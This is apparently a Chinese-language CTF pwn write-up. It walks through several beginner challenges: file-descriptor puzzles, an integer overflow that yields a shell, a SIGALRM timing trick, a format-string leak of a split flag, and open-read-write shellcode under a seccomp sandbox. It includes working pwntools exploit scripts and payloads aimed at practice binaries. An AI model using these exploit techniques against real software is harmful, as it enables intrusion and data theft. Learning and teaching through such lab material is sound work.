14
15
16
17
18
  v4 = __readfsqword(0x28u);
  puts("\nPuzzle1:");
  __isoc99_scanf("%d", &arg);
  strcpy(key, "secretKey\n");
  fd = arg - 1131796;
  *(_QWORD *)inp = 0LL;
  *(_QWORD *)&inp[8] = 0LL;
  *(_QWORD *)&inp[16] = 0LL;
  *(_QWORD *)&inp[24] = 0LL;
  *(_QWORD *)&inp[32] = 0LL;
  *(_QWORD *)&inp[40] = 0LL;
  *(_WORD *)&inp[48] = 0;
  read(0, inp, 0x14uLL);
  if ( !strcmp(inp, key) )
  {
    system("/bin/cat ./flag");
    con();
  }

第二个输入和 key 比较, key = "secretKey\n", 所以输入

1
2
3
    1
    (随便一个数数字)
    secretKey

得到 flag:

Welcome to the GAME!
The First Serie: Let's learn some basic knowledge about Linux.
Chapter 1: Do you know what the File Descriptor is?
Request: Here'e two puzzles, and you're required to solve any one of them to get the flag!
(But I strongly advise you to solve them both to have a better understanding of File Descriptor.      ——BlackBird) 

Your Choice: 1

Puzzle1:
1
secretKey
flag{File_Descriptor_is_so_34sy}Congratulations!!! I believe you've known about the File Descriptor. Try another one puzzle, and you'll know it better.

第二个点(我没做, 写WP的时候才现查的,,,),

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
v4 = __readfsqword(0x28u);
  puts("\nPuzzle2:");
  __isoc99_scanf("%d", &arg);
  strcpy(path, "./flag");
  open(path, 0);
  fd = arg - 1131796;
  *(_QWORD *)flag = 0LL;
  *(_QWORD *)&flag[8] = 0LL;
  *(_QWORD *)&flag[16] = 0LL;
  *(_QWORD *)&flag[24] = 0LL;
  *(_QWORD *)&flag[32] = 0LL;
  *(_QWORD *)&flag[40] = 0LL;
  *(_WORD *)&flag[48] = 0;
  read(arg - 1131796, flag, 0x32uLL);
  printf("%s", flag);

就是 read() 第一个参数不再是 0(stdout) 了. 读程序可以发现, 这是打开了文件 ./flag, 需要把文件中的内容输出到字符串 flag 上. 然后输出.

open() 返回 fd, 是 mex{以及存在的fd}. 其中 0(stdout), 1(stdin), 2(stderr) 都存在且没有被关闭. 所以让 fd = 3 即可.

Your Choice: 2

Puzzle2:
1131799
flag{File_Descriptor_is_so_34sy}

整型溢出, 丢进 ida 里:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
  cnt[0] = 0LL;
  x = 0;
  __isoc99_scanf("%lld", cnt);
  while ( 1 )
  {
    v3 = cnt[0]--;
    if ( v3 <= 0 )
      break;
    ++x;
  }
  if ( x < -1 )
  {
    puts("Right! Here's your shell:");
    system("/bin/sh");
  }

输入一个 LL 型的 cnt, 然后 cnt--, x++. 但是 x 是 int 型, 超过 2^31 就溢出了, 符号位为 1, 变成负数, 从而得到 shell. 只需要输入一个稍微比 2^31 大的就行了. 注意别太大然后给加回到了正数…

(我是sb一开始int对应两个字符去了, int 4 个字节才对啊)

丢 ida 里:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
  for ( i = 0; i <= 4; ++i )
    __isoc99_scanf("%d", &inp_in_int[i]);
  *(_QWORD *)&inp_in_char[40] = 0LL;
  *(_WORD *)&inp_in_char[48] = 0;
  *(_QWORD *)inp_in_char = *(_QWORD *)inp_in_int;
  *(_QWORD *)&inp_in_char[8] = *(_QWORD *)&inp_in_int[2];
  *(_QWORD *)&inp_in_char[16] = *(_QWORD *)&inp_in_int[4];
  *(_QWORD *)&inp_in_char[24] = *(_QWORD *)&inp_in_int[6];
  *(_QWORD *)&inp_in_char[32] = *(_QWORD *)&inp_in_int[8];
  strcpy(key, "secretKey");
  if ( !strcmp(inp_in_char, key) )
    system("/bin/cat ./flag");

读入 5 个数, 然后按照地址来转换成字符串, 然后和 “secretKey” 比较. 也就是说, 一个 int 拆成 4 个字节, 每个字节对应一个 ASCII 字符. 注意大小端序.

file 一下, 发现是小端序.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
key = b'secretKey'

key = key + b''.join([b'\x00'] * (4 * 5 - len(key)))      0 补全5个数

def getInt(s):
    x = 0
    for c in s[::-1]:
        x = x * 2**8 + int(c)
    return x

for i in range(5):
    l = i * 4
    r = (i+1) * 4
    print(getInt(key[l:r]))

把跑出来的五个数输入, 就可以得到 flag 了.

丢到 ida 里, 粗略一看, 还真是跑 114514 次… 然后就写了脚本计算, 发现, 本地都跑不出来…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    accident();
  for ( i = 0; i <= 114513; ++i )
  {
    if ( read(fd, &buf, 4uLL) < 0 || read(fd, &v5, 4uLL) < 0 )
      accident();
    printf(&byte_2231, buf % 0x14);
    printf(&byte_2241, v5 % 0x14);
    puts(&byte_2251);
    puts(&byte_2261);
    __isoc99_scanf(&unk_2271, &v6);
    if ( buf % 0x14 + v5 % 0x14 != v6 )
    {
      puts(&byte_2281);
      accident();
    }
    puts(&byte_2274);
    ++cnt;
  }

后来再看一眼, 发现初始化函数 init_proc 中有猫腻:

1
2
3
4
5
6
7
8
unsigned int init_proc()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  signal(14, handler);
  return alarm(0x10u);
}

这里有个10s后发送alarm和信号处理函数.

1
    $ kill -l

查看所有信号:

1) SIGHUP    2) SIGINT   3) SIGQUIT  4) SIGILL   5) SIGTRAP
6) SIGABRT   7) SIGBUS   8) SIGFPE   9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG  24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF 28) SIGWINCH    29) SIGIO   30) SIGPWR
31) SIGSYS  34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX

14 对应的就是 SIGALRM.

也就是说, 程序运行 10s 后, 会进入 handler 函数, 查看函数如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void handler()
{
  puts(&byte_2028);
  printf(&format, (unsigned int)cnt);
  if ( (unsigned int)cnt <= 0x64 )
    accident();
  puts(&byte_2059);
  sleep(1u);
  system(cmd);
}

cnt 大于 0x64 时, 会执行 system, 看一眼 cmd 是字符串 "/bin/sh".

而这个 cnt 就是 main 中的算对的次数. 所以只需要写个脚本算 0x64 次就可以获得 shell 了.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *

r = remote()
## r = process('./scripts')

r.recvuntil('Let us start!\n')

for i in range(0x64 + 1):
    s1 = str(r.recvline()[12:-1], 'utf-8')
    t1 = int(s1)
    s2 = str(r.recvline()[12:-1], 'utf-8')
    t2 = int(s2)
    r.recvline()
    r.recvline()
    r.sendline(bytes(str(t1+t2), encoding = 'utf-8'))
    r.recvline()

r.interactive()

file 一下, 64 位 ELF. 丢 ida 里, main 函数 36 行很明显 fmt 漏洞.

有两个变量, 分别名叫 flag1flag2. 其中 flag1 是局部变量, flag2 是全局变量, 而且很贴心地给出了地址, 并且这个地址不会边. 也就是没有开启 PIE.

看一下 func 函数, 是处理 flag 的. 前一半放到 flag1 里, 后一半放到 flag2 里.

自己搞一个 ./flag 输入点啥测试一下. 运行程序, 输入 AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p 找偏移量printf函数第一个参数在栈上的位置偏移量, 注意是 64 位程序, 所以前面放八个字符.

输出如下:

AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Here's a gift: 0x4040c0
AAAAAAAA0x7ffdd38e0fe0.(nil).(nil).0x18.0x18.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x7025.0x414141414158595a.0xa7d414243444141.(nil).(nil)

可以发现在第六个 %p 的位置输出了 AAAAAAAA. 于是构造 payload 如下, 获取 flag2

1
2
flag2_addr = 0x4040C0
payload = b'%7$s....' + p64(flag2_addr)  注意填充8位, 然后才是地址

还是没有搞懂为啥 64 位要把地址放在后面构造. 咕咕咕, 之后问问 pwn 大佬们. TODO.

得到 flag 的前一半, 长度15. 合理推测 flag1 长度应该是 15 或者 16, 也就是占两个 %p. 由于 flag1 在 main 的栈帧上, 而 main 调用了 printf, 所以可以通过格式化字符串漏洞得到 main 栈帧上的数据内容. 方法很暴力, 直接打印一堆 %p 就完事了. 重新构造一个 30 或者 31 的 flag, 然后跑一下, 对比内容可以发现, 第 14 和 15 个位置是栈上 flag1 的内容. 然后随便写个程序或者直接手撕, 就得到了后一半的 flag. 需要注意的是大小端序问题, file 一下发现是小端序.

%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Here's a gift: 0x4040c0
0x7ffedab34140.0x7fb5a7c7f8c0.(nil).0x18.(nil).0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x70252e70252e70.(nil).(nil).0x33647234685f676e.0x7d3f74686731725f.(nil)

0x33647234685f676e, 0x7d3f74686731725f 这俩解出来, 得到后半段 flag 为 ng_h4rd3_r1ght?}

学一手 orw 先.

checksec 一下, 发现栈不可执行没开.

1
    $ checksec orw
[*] '/home/wings/ctf/2022-kyctf/pwn/orw/orw'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

这和查到 orw 资料是一样的, 运行输入的代码.

ida 里丢一下, 没反出 main 函数的 c, 强行看汇编, 重要的是这几行:

1
2
3
4
call    _read
lea     rax, [rbp+buf]
mov     rdi, rax
call    rdi

大概是先读入到 rdi 中, 然后直接执行 rdi 中的内容.

所以这里需要写汇编 shellcode.

ida 里可以看到有个 sandbox 函数, 里面有一堆 seccomp_rule. 这里限制了系统调用, 用 seccomp-tools 查看可用的系统函数:

1
    $ seccomp-tools dump ./orw
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003  if (A == close) goto 0011
0009: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0012: 0x06 0x00 0x00 0x00000000  return KILL

可以发现只有 read, write, open, close, exit 可用, 也就是说, 直接执行 system() 行不通了.

但是可以有这样一个思路, 由于 open, read, write 可用, 而我们知道 flag 是放在程序目录下的, 所以可以 打开 flag 文件, 读取, 然后写入 stdout. 这一套 open-read-write 称为 orw.

用 pwntools 里的工具很容易构造, exp 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *

## p = process('./orw')

p = remote()

context.arch = ELF('./orw').arch     注意这里架构需要指定, 不同架构的汇编是不一样的

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax','rsp',0x100)      64 位寄存器是 rax rsp 
shellcode += shellcraft.write(1,'rsp',0x100)         32 位的是 eax, esp 
payload = asm(shellcode)

p.recvuntil(b'BlackBird) \n\n')
p.sendline(payload)

p.interactive()

或者写汇编也行, 反正我不会汇编.